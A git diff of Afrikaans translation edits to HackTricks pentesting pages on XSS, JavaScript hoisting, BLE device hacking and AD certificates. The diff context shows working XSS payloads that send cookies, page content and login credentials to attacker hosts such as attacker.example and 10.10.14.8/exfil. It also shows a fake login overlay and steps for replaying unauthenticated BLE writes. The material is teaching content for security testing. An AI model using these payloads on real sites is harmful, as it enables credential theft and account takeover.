+- **Verskillende obskurerings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
@@ -1269,7 +1271,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
 ```
-## XSS common payloads
+## XSS algemene payloads
 
 ### Verskeie payloads in 1
 
@@ -1280,7 +1282,7 @@ steal-info-js.md
 
 ### Iframe Trap
 
-Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy aksies (insluitend inligting wat in vorms gestuur word):
+Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en steel sy/haar aksies (insluitend inligting wat in vorms gestuur word):
 
 
 {{#ref}}
@@ -1310,9 +1312,9 @@ Laat die gebruiker op die bladsy navigeer sonder om die iframe te verlaat en ste
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> Jy **sal nie vanuit JavaScript toegang tot die cookies kan kry** as die HTTPOnly-flag in die cookie gestel is nie. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg is.
+> Jy **sal nie toegang tot die cookies vanaf JavaScript hê nie** as die HTTPOnly flag in die cookie gestel is. Maar hier het jy [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) as jy gelukkig genoeg.
   
-### Steel Bladsyinhoud
+### Steal Page Content
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1325,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### Vind interne IPs
+### Vind interne IP-adresse
 ```html
 <script>
 var q = []
@@ -1401,15 +1403,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 };
 }
 ```
-_Korte tye dui op 'n reagerende port_ _Langere tye dui op geen reaksie nie._
+_Korte tye dui op 'n reagerende poort_ _Langere tye dui op geen reaksie nie._
 
-Hersien die lys van ports wat in Chrome geblokkeer is [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Kontroleer die lys van hawens wat in Chrome geblokkeer is [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) en in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
-### Boks om credentials te vra
+### Kassie om inlogbesonderhede te vra
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Auto-fill wagwoordvaslegging
+### Vasvang van Auto-fill passwords
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1420,11 +1422,11 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Wanneer enige data in die password-veld ingevoer word, word die username en password na die attackers server gestuur; selfs as die kliënt 'n gestoor password kies en niks intik nie, sal die credentials ge-exfiltrateer word.
+Wanneer enige data in die password field ingevoer word, word die username en password na die attackers server gestuur — selfs as die kliënt 'n saved password kies en niks tik nie, sal die credentials ex-filtrated word.
 
 ### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-As 'n kritieke handler (bv., `function DoLogin(){...}`) later op die bladsy verklaar word, en jou payload vroeër loop (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler vooraf te gryp en te sluit. Latere function declarations kan nie 'n `const`-naam herbinde nie, wat jou hook in beheer laat:
+As 'n kritieke handler (bv., `function DoLogin(){...}`) later in die bladsy gedeclareer word, en jou payload vroeër uitgevoer word (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te voorkom en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbinde nie, en laat jou hook in beheer:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1432,14 +1434,14 @@ const user = Trim(FormInput.InputUtente.value);
 fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
 };
 ```
-Notes
+Aantekeninge
-- Dit berus op die uitvoeringsorde: jou injection moet uitgevoer word voordat die legitieme deklarasie.
+- Dit berus op uitvoeringsvolgorde: jou injectie moet uitgevoer word voor die legitieme deklarasie.
-- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `<script>` injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herbindbare binding te verseker.
+- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `<script>`-invoegingstegniek uit die afdeling “Deliverable payloads with eval(atob()) and scope nuances” om 'n werklike globale, nie-herskryfbare binding te verseker.
-- Wanneer sleutelwoordfilters kode blokkeer, kombineer met Unicode-escaped identifiers of `eval(atob('...'))` delivery, soos hierbo getoon.
+- Wanneer sleutelwoordfilters kode blokkeer, kombineer met Unicode-gescapeerde identifiseerders of `eval(atob('...'))` aflewering, soos hierbo getoon.
 
 ### Keylogger
 
-Net deur in github te soek het ek 'n paar verskillende gevind:
+Ek het net op github gesoek en 'n paar verskillende gevind:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@@ -1461,7 +1463,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Steel PostMessage-boodskappe
+### Diefstal van PostMessage-boodskappe
 ```html
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1557,9 +1559,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 <!-- In case your target makes use of AngularJS -->
 {{constructor.constructor("import('{SERVER}/script.js')")()}}
 ```
-### Regex - Toegang tot verborge inhoud
+### Regex - Toegang tot Verborgen Inhoud
 
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
+Uit [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuutwaardes in verskillende objekte te vind. Byvoorbeeld, 'n input van 'n REGEX kan steeds gevind word nadat die waarde van die input van die regex verwyder is:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1576,7 +1578,7 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force List
+### Brute-Force Lys
 
 
 {{#ref}}
@@ -1587,33 +1589,33 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ### XSS in Markdown
 
-Kan jy Markdown-kode insit wat gerender sal word? Miskien kan jy XSS kry! Kyk:
+Kan inject Markdown code wat gerender sal word? Miskien kan jy XSS kry! Kyk:
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS to SSRF
+### XSS na SSRF
 
-Het jy XSS op 'n **site wat caching gebruik**? Probeer dit **opgradeer na SSRF** deur Edge Side Include Injection met hierdie payload:
+Het jy XSS op 'n **webwerf wat caching gebruik**? Probeer dit **opgradeer na SSRF** deur Edge Side Include Injection met hierdie payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Gebruik dit om cookie-beperkings, XSS-filters en nog baie meer te omseil!\
+Gebruik dit om cookie-beperkings, XSS filters en nog meer te omseil!\
 Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### XSS in dinamies geskepte PDF
+### XSS in dinamies gegenereerde PDF
 
-As 'n webblad 'n PDF skep met gebruikersbeheerde insette, kan jy probeer om die **PDF creator bot** wat die PDF skep, te **mislei** sodat dit **arbitrêre JS-kode uitvoer**.\
+As 'n webblad 'n PDF skep met invoer wat deur die gebruiker beheer word, kan jy probeer om die **bot** wat die PDF skep te **mislei** sodat dit **arbitrêre JS-kode uitvoer**.\
-As die **PDF creator bot** enige soort **HTML** **tags** vind, sal dit hulle **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
+Dus, as die **PDF creator bot vind** 'n soort **HTML** **tags**, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
 
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-As jy nie HTML-tags kan injekteer nie, kan dit die moeite werd wees om te probeer om **PDF-data in te voeg**:
+As jy nie HTML tags kan inject nie, kan dit die moeite werd wees om te probeer **inject PDF data**:
 
 
 {{#ref}}
@@ -1622,13 +1624,13 @@ pdf-injection.md
 
 ### XSS in Amp4Email
 
-AMP, wat daarop gemik is om webbladprestasie op mobiele toestelle te versnel, inkorporeer HTML-tags aangevul met JavaScript om funksionaliteit te verseker met klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, bedoel om webbladprestasie op mobiele toestelle te versnel, bevat HTML tags aangevul deur JavaScript om funksionaliteit te verseker met 'n klem op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei sekere AMP-komponente uit na e-posse, wat ontvangers toelaat om direk binne hul e-posse met inhoud te interaksie.
+Die [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk binne hul e-posse met inhoud te interakteer.
 
-Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Voorbeeld [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
-### XSS by die oplaai van lêers (svg)
+### XSS deur lêers op te laai (svg)
 
 Laai as 'n beeld 'n lêer op soos die volgende een (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
 ```html
@@ -1688,7 +1690,7 @@ id="foo"/>
 ```
 Vind **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
-## Verskeie JS-truuks & Relevante Inligting
+## Verskeie JS-wenke & relevante inligting
 
 
 {{#ref}}

src/pentesting-web/xss-cross-site-scripting/js-hoisting.md

@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Basiese Inligting
 
-In die JavaScript-taal word 'n meganisme bekend as **Hoisting** beskryf, waar verklarings van variables, functions, classes of imports konseptueel na die bokant van hul scope verskuif word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript engine uitgevoer, wat die skrip in verskeie passe deurloop.
+In die JavaScript-taal word 'n meganisme beskryf wat bekend staan as **Hoisting**, waar deklarasies van veranderlikes, funksies, klasse, of imports konseptueel na die bokant van hul scope opgetel word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat die skrip in verskeie pase deurgaan.
 
-Tydens die eerste pas parse die engine die kode om na syntax errors te kyk en dit in 'n abstract syntax tree te transformeer. Hierdie fase sluit hoisting in, 'n proses waar sekere declarations na die top van die execution context beweeg word. As die parsing-fase suksesvol is, wat aandui dat daar geen syntax errors is nie, gaan die skrip se uitvoering voort.
+Tydens die eerste pas parse die enjin die kode om na sintaksfoute te kyk en transformeer dit na 'n abstract syntax tree. Hierdie fase sluit hoisting in, 'n proses waar sekere deklarasies na die bokant van die uitvoeringskonteks verskuif word. As die parsing-fase suksesvol is en geen sintaksfoute aandui nie, gaan die skripuitvoering voort.
 
-Dit is belangrik om te verstaan dat:
+Dit is kritiek om te verstaan dat:
 
-1. Die skrip moet vry van syntax errors wees voordat uitvoering kan plaasvind. Syntax-reëls moet streng nageleef word.
+1. Die skrip moet vry wees van sintaksfoute voordat uitvoering kan plaasvind. Sintaksisreëls moet streng nagekom word.
-2. Die plasing van kode binne die skrip beïnvloed uitvoering weens hoisting, selfs al kan die uitgevoerde kode verskil van sy tekstuele voorstelling.
+2. Die plasing van kode binne die skrip beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode van sy tekstuele voorstelling kan verskil.
 
-#### Types of Hoisting
+#### Tipes van Hoisting
 
-Volgens MDN is daar vier uiteenlopende tipes hoisting in JavaScript:
+Gebaseer op inligting van MDN, is daar vier onderskeibare tipes hoisting in JavaScript:
 
-1. **Value Hoisting**: Maak dit moontlik om 'n variable se waarde binne sy scope te gebruik voor die lyn van deklarasie.
+1. **Value Hoisting**: Maak dit moontlik om 'n veranderlike se waarde binne sy scope te gebruik voordat die deklarasielyn voorkom.
-2. **Declaration Hoisting**: Laat toe om 'n variable binne sy scope te verwys voor die deklarasie sonder om 'n `ReferenceError` te veroorsaak, maar die variable se waarde sal `undefined` wees.
+2. **Declaration Hoisting**: Laat toe om na 'n veranderlike binne sy scope te verwys voordat dit verklaar is sonder om 'n `ReferenceError` te veroorsaak, maar die veranderlike se waarde sal `undefined` wees.
-3. Hierdie tipe verander die gedrag binne sy scope omdat die variable se deklarasie voor sy werklike deklarasielyn voorkom.
+3. Hierdie tipe verander die gedrag binne sy scope weens die veranderlike se deklarasie voor sy werklike deklarasielyn.
-4. Die deklarasie se newe-effekte gebeur voordat die res van die kode wat dit bevat geëvalueer word.
+4. Die deklarasie se newe-effekte vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.
 
-In meer detail vertoon function declarations tipe 1 hoisting-gedrag. Die `var` sleutelwoord demonstreer tipe 2-gedrag. Lexical declarations, wat `let`, `const`, en `class` insluit, vertoon tipe 3-gedrag. Laastens is `import` statements uniek omdat hulle met beide tipe 1 en tipe 4 gedrag gehys word.
+In meer detail toon funksie-deklarasies tipe 1 hoisting-gedrag. Die `var` sleutelwoord demonstreer tipe 2-gedrag. Lexical-deklarasies, wat `let`, `const`, en `class` insluit, toon tipe 3-gedrag. Laastens is `import`-verklarings uniek omdat hulle opgetel word met beide tipe 1 en tipe 4-gedrag.
 
-## Scenarios
+## Scenario's
 
-Indien jy dus scenarios het waar 'n undeclared object gebruik word en jy kan **Inject JS code after an undeclared object**, kan jy die sintaksis **fix the syntax** deur dit te declare (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
+Dus, as jy scenario's het waar jy kan **Inject JS code after an undeclared object** gebruik word, kan jy die sintaksis **fix the syntax** deur dit te verklaar (sodat jou kode uitgevoer word in plaas daarvan om 'n fout te gooi):
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -131,7 +131,7 @@ trigger()
 ```
 ### Voorkom latere deklarasies deur 'n naam met const te sluit
 
-As jy kan uitvoer voordat 'n top-level `function foo(){...}` gepars is, sal die verklaring van 'n leksikale binding met dieselfde naam (bv. `const foo = ...`) verhinduer dat die latere function-verklaring daardie identifiseerder herbind. Hierdie tegniek kan in RXSS misbruik word om kritieke handlers wat later op die bladsy gedefinieer is, te kap:
+As jy kan uitvoer voordat 'n top-level `function foo(){...}` ontleed word, sal die definiering van 'n leksikale binding met dieselfde naam (bv. `const foo = ...`) verhoed dat die latere funksie-deklarasie daardie identifiseerder herbind. Dit kan in RXSS misbruik word om kritieke handlers wat later op die bladsy gedefinieer is te kap:
 ```javascript
 // Malicious code runs first (e.g., earlier inline <script>)
 const DoLogin = () => {
@@ -144,8 +144,8 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 function DoLogin(){ /* ... */ } // cannot override the existing const binding
 ```
 Aantekeninge
-- Dit berus op uitvoeringvolgorde en globale (top-level) scope.
+- Dit berus op uitvoerorde en globale (topvlak) scope.
-- As jou payload binne `eval()` uitgevoer word, onthou dat `const/let` binne `eval` block-scoped is en nie globale bindings sal skep nie. Inject 'n nuwe `<script>` element met die kode om 'n ware globale `const` te vestig.
+- As jou payload binne `eval()` uitgevoer word, onthou dat `const/let` binne `eval` blokgestuur is en nie globale bindings sal skep nie. Injecteer 'n nuwe `<script>` element met die kode om 'n werklike globale `const` te vestig.
 
 ## Verwysings
 

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

@@ -4,21 +4,21 @@
 
 ## Inleiding
 
-Beskikbaar sedert die Bluetooth 4.0 spesifikasie, gebruik BLE slegs 40 kanale wat die omvang van 2400 tot 2483.5 MHz dek. In teenstelling gebruik tradisionele Bluetooth 79 kanale in dieselfde reeks.
+Beskikbaar sedert die Bluetooth 4.0-spesifikasie, gebruik BLE slegs 40 kanale wat die reeks 2400 tot 2483.5 MHz dek. In teenstelling gebruik tradisionele Bluetooth 79 kanale in dieselfde reeks.
 
-BLE-toestelle kommunikeer deur **advertising packets** (**beacons**) te stuur; hierdie pakkette stuur die bestaan van die BLE-toestel na ander nabygeleë toestelle uit. Hierdie beacons stuur soms ook **send data**.
+BLE devices kommunikeer deur die stuur van **advertising packets** (**beacons**); hierdie pakkette maak die bestaan van die BLE-toestel aan ander nabygeleë toestelle bekend. Hierdie beacons **send data** soms ook.
 
-Die luistertoestel, ook 'n central device genoem, kan op 'n advertising packet reageer met 'n **SCAN request** wat spesifiek na die adverterende toestel gestuur word. Die **response** op daardie scan gebruik dieselfde struktuur as die **advertising** packet met addisionele inligting wat nie op die aanvanklike advertising request gepas het nie, soos die volledige toestelnaam.
+Die luisterende toestel, ook 'n central device genoem, kan op 'n advertising packet reageer met 'n **SCAN request** wat spesifiek na die advertising-toestel gestuur word. Die **response** op daardie scan gebruik dieselfde struktuur as die **advertising** packet met bykomende inligting wat nie op die aanvanklike advertising request gepas het nie, soos die volledige toestelnaam.
 
 ![](<../../images/image (152).png>)
 
-Die preamble-byte sinkroniseer die frekwensie, terwyl die vier-byte access address 'n **connection identifier** is, wat in scenario's gebruik word waar meerdere toestelle probeer om verbindings op dieselfde kanale te vestig. Verder bevat die Protocol Data Unit (**PDU**) die **advertising data**. Daar is verskeie soorte PDU; die mees gebruikte is ADV_NONCONN_IND en ADV_IND. Toestelle gebruik die **ADV_NONCONN_IND** PDU-tipe as hulle **don’t accept connections**, en stuur slegs data in die advertising packet. Toestelle gebruik **ADV_IND** as hulle **allow connections** en **stop sending advertising** packets sodra 'n **connection** gevestig is.
+Die preamble byte sinkroniseer die frekwensie, terwyl die vier-byte access address 'n **connection identifier** is, wat gebruik word in scenario's waar veelvuldige toestelle probeer verbindings op dieselfde kanale te vestig. Daarna bevat die Protocol Data Unit (**PDU**) die **advertising data**. Daar is verskeie tipes PDU; die mees algemeen gebruikte is ADV_NONCONN_IND en ADV_IND. Toestelle gebruik die **ADV_NONCONN_IND** PDU-tipe as hulle **don’t accept connections**, sodat hulle slegs data in die advertising packet stuur. Toestelle gebruik **ADV_IND** as hulle **allow connections** en **stop sending advertising** packets sodra 'n **connection** gevestig is.
 
 ### GATT
 
-Die **Generic Attribute Profile** (GATT) definieer hoe die **device should format and transfer data**. Wanneer jy 'n BLE-toestel se attack surface ontleed, sal jy dikwels jou aandag op die GATT (of GATTs) fokus, want dit is hoe **device functionality gets triggered** en hoe data gestoor, gegroepeer en gewysig word. Die GATT lys 'n toestel se characteristics, descriptors, en services in 'n tabel as óf 16- óf 32-bits waardes. 'n **Characteristic** is 'n **data** waarde wat **sent** word tussen die central device en peripheral. Hierdie characteristics kan **descriptors** hê wat **provide additional information about them**. **Characteristics** word dikwels **grouped** in **services** as hulle verwant is tot die uitvoering van 'n spesifieke aksie.
+Die **Generic Attribute Profile** (GATT) definieer hoe die **device should format and transfer data**. Wanneer jy 'n BLE-toestel se aanval-oppervlak ontleed, sal jy dikwels jou aandag op die GATT (of GATTs) konsentreer, omdat dit is hoe **device functionality gets triggered** en hoe data gestoor, gegroepeer en gewysig word. Die GATT lys 'n toestel se characteristics, descriptors, en services in 'n tabel as óf 16- of 32-bits waardes. 'n **characteristic** is 'n **data** waarde **sent** tussen die central device en peripheral. Hierdie characteristics kan **descriptors** hê wat **provide additional information about them**. **Characteristics** word dikwels **grouped** in **services** as hulle verwant is aan die uitvoering van 'n spesifieke aksie.
 
-## Enumeration
+## Enumerasie
 ```bash
 hciconfig #Check config, check if UP or DOWN
 # If DOWN try:
@@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
 ```
 ### GATTool
 
-**GATTool** laat toe om 'n **connection** met 'n ander toestel te **establish**, daardie toestel se **characteristics** te lys, en sy eienskappe te lees en te skryf.\
+**GATTool** laat toe om 'n **verbinding** met 'n ander toestel te **vestig**, daardie toestel se **characteristics** te lys, en sy attributes te lees en te skryf.\
-GATTTool kan 'n interaktiewe shell met die `-I` opsie begin:
+GATTTool kan 'n interaktiewe shell begin met die `-I` opsie:
 ```bash
 gatttool -i hci0 -I
 [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@@ -64,13 +64,13 @@ sudo bettercap --eval "ble.recon on"
 >> ble.write <MAC ADDR> <UUID> <HEX DATA>
 >> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
 ```
-## Sniffing en aktief beheer van ongepaarde BLE-toestelle
+## Sniffing en aktief beheer van unpaired BLE-toestelle
 
-Baie lae-koste BLE-perifere dwing nie pairing/bonding af nie. Sonder bonding word die Link Layer-enkripsie nooit geaktiveer nie, sodat ATT/GATT-verkeer onversleuteld is. 'n Off-path sniffer kan die verbinding volg, GATT-operasies dekodeer om characteristic handles and values te leer, en enige nabygeleë host kan dan koppel en daardie writes herhaal om die toestel te beheer.
+Baie goedkoop BLE-perifere toestelle dwing nie pairing/bonding af nie. Sonder bonding word die Link Layer encryption nooit aangeskakel nie, so ATT/GATT-verkeer is in duidelike teks. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
 
 ### Sniffing met Sniffle (CC26x2/CC1352)
 
-Hardeware: 'n Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
+Hardware: 'n Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
 
 Installeer Sniffle en sy Wireshark extcap op Linux:
 ```bash
@@ -91,7 +91,7 @@ else
 echo "[+] - Sniffle already installed at 1.10.0"
 fi
 ```
-Flits Sonoff met Sniffle firmware (maak seker jou seriële apparaat ooreenstem, bv. /dev/ttyUSB0):
+Flits Sonoff met Sniffle firmware (verseker dat jou seriële toestel ooreenstem, bv. /dev/ttyUSB0):
 ```bash
 pushd /opt/sniffle/
 wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
@@ -104,11 +104,11 @@ python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc
 deactivate
 popd
 ```
-Neem op in Wireshark via die Sniffle extcap en pivot vinnig na staatveranderende skryfoperasies deur te filter:
+Vang in Wireshark via die Sniffle extcap en skuif vinnig na toestandveranderende skrywe deur te filter:
 ```text
 _ws.col.info contains "Sent Write Command"
 ```
-Hier beklemtoon ATT Write Commands vanaf die client; die handle en value map dikwels direk na toestelaksies (bv. write 0x01 na 'n buzzer/alert characteristic, 0x00 om te stop).
+Dit beklemtoon ATT Write Commands vanaf die kliënt; die handle en value stem dikwels direk ooreen met toestelaksies (bv., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
 
 Sniffle CLI vinnige voorbeelde:
 ```bash
@@ -118,18 +118,18 @@ python3 scanner.py --rssi -40
 # Filter advertisements containing a string
 python3 sniffer.py --string "banana" --output sniff.pcap
 ```
-Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin werk ook. Op klein/goedkoop Nordic dongles oorskryf jy gewoonlik die USB bootloader om die sniffer firmware te laai, so jy hou óf ’n toegewyde sniffer dongle óf jy het ’n J-Link/JTAG nodig om die bootloader later te herstel.
+Alternatiewe sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin werk ook. Op klein/goedkoop Nordic dongles oorskryf jy tipies die USB bootloader om die sniffer firmware te laai, so hou jy óf 'n toegewyde sniffer dongle óf benodig 'n J-Link/JTAG om die bootloader later te herstel.
 
 ### Aktiewe beheer via GATT
 
-Sodra jy ’n writable characteristic handle en value uit die sniffed traffic geïdentifiseer het, koppel as enige central en voer dieselfde write uit:
+Sodra jy 'n writable characteristic handle en value uit die sniffed traffic geïdentifiseer het, koppel as enige central en voer dieselfde write uit:
 
 - Met Nordic nRF Connect for Desktop (BLE app):
-- Kies die nRF52/nRF52840 dongle, skandeer en koppel aan die target.
+- Kies die nRF52/nRF52840 dongle, scan en verbind met die target.
-- Blaai deur die GATT-databasis, lokaliseer die target characteristic (dikwels het dit ’n friendly name, bv. Alert Level).
+- Blaai deur die GATT database, lokaliseer die target characteristic (het dikwels 'n vriendelike naam, bv. Alert Level).
-- Voer ’n Write uit met die sniffed bytes (bv. 01 om te aktiveer, 00 om te stop).
+- Voer 'n Write uit met die sniffed bytes (bv. 01 om te aktiveer, 00 om te stop).
 
-- Outomatiseer op Windows met ’n Nordic dongle deur Python + blatann te gebruik:
+- Automatiseer op Windows met 'n Nordic dongle deur Python + blatann te gebruik:
 ```python
 import time
 import blatann
@@ -171,11 +171,11 @@ ble_device.close()
 ```
 ### Operasionele notas en mitigasies
 
-- Gee voorkeur aan Sonoff+Sniffle op Linux vir robuuste kanaalspring en verbindingsopvolging. Hou 'n ekstra Nordic sniffer as rugsteun.
+- Voorkeur: Sonoff+Sniffle op Linux vir robuuste kanaalspring en verbindingsopvolging. Hou 'n ekstra Nordic sniffer as rugsteun.
-- Sonder pairing/bonding kan enige nabygeleë aanvaller writes waarneem en hierdie writes replay of hul eie craft na nie-geauthentiseerde, writable characteristics stuur.
+- Sonder pairing/bonding kan enige nabygeleë aanvaller writes waarneem en hul eie herspeel of saamstel na nie-geauthentiseerde writable characteristics.
-- Mitigasies: vereis pairing/bonding en dwing enkripsie af; stel characteristic permissions om authenticated writes te vereis; minimaliseer nie-geauthentiseerde writable characteristics; valideer GATT ACLs met Sniffle/nRF Connect.
+- Mitigasies: vereis pairing/bonding en dwing enkripsie af; stel characteristic permissions om geauthentiseerde writes te vereis; minimaliseer nie-geauthentiseerde writable characteristics; valideer GATT ACLs met Sniffle/nRF Connect.
 
-## References
+## Verwysings
 
 - [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
 - [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)

src/windows-hardening/active-directory-methodology/ad-certificates/README.md

@@ -7,101 +7,101 @@
 ### Komponente van 'n Sertifikaat
 
 - Die **Subject** van die sertifikaat dui die eienaar aan.
-- 'n **Public Key** word gepaard met 'n privaat sleutel om die sertifikaat aan die regmatige eienaar te koppel.
+- 'n **Public Key** word gepaard met 'n privaat gehoude sleutel om die sertifikaat aan sy regmatige eienaar te koppel.
-- Die **Validity Period**, gedefinieer deur **NotBefore** en **NotAfter** datums, dui die sertifikaat se geldigheidsduur aan.
+- Die **Validity Period**, bepaal deur **NotBefore** en **NotAfter** datums, merk die sertifikaat se geldigheidsduur.
-- 'n unieke **Serial Number**, voorsien deur die Certificate Authority (CA), identifiseer elke sertifikaat.
+- 'n unieke **Serial Number**, verskaf deur die Certificate Authority (CA), identifiseer elke sertifikaat.
 - Die **Issuer** verwys na die CA wat die sertifikaat uitgereik het.
-- **SubjectAlternativeName** laat addisionele name vir die subject toe, wat identifikasiebuigbaarheid verbeter.
+- **SubjectAlternativeName** laat addisionele name vir die subject toe, wat identifikasie meer buigsaam maak.
 - **Basic Constraints** identifiseer of die sertifikaat vir 'n CA of 'n eindentiteit is en definieer gebruiksbeperkings.
-- **Extended Key Usages (EKUs)** omskryf die sertifikaat se spesifieke doeleindes, soos code signing of e-pos enkripsie, via Object Identifiers (OIDs).
+- **Extended Key Usages (EKUs)** omskryf die sertifikaat se spesifieke doeleindes, soos code signing of email encryption, deur Object Identifiers (OIDs).
-- Die **Signature Algorithm** spesifiseer die metode om die sertifikaat te onderteken.
+- Die **Signature Algorithm** spesifiseer die metode vir die ondertekening van die sertifikaat.
-- Die **Signature**, geskep met die issuer se privaat sleutel, waarborg die sertifikaat se egtheid.
+- Die **Signature**, geskep met die issuer se private sleutel, waarborg die sertifikaat se egtheid.
 
 ### Spesiale Oorwegings
 
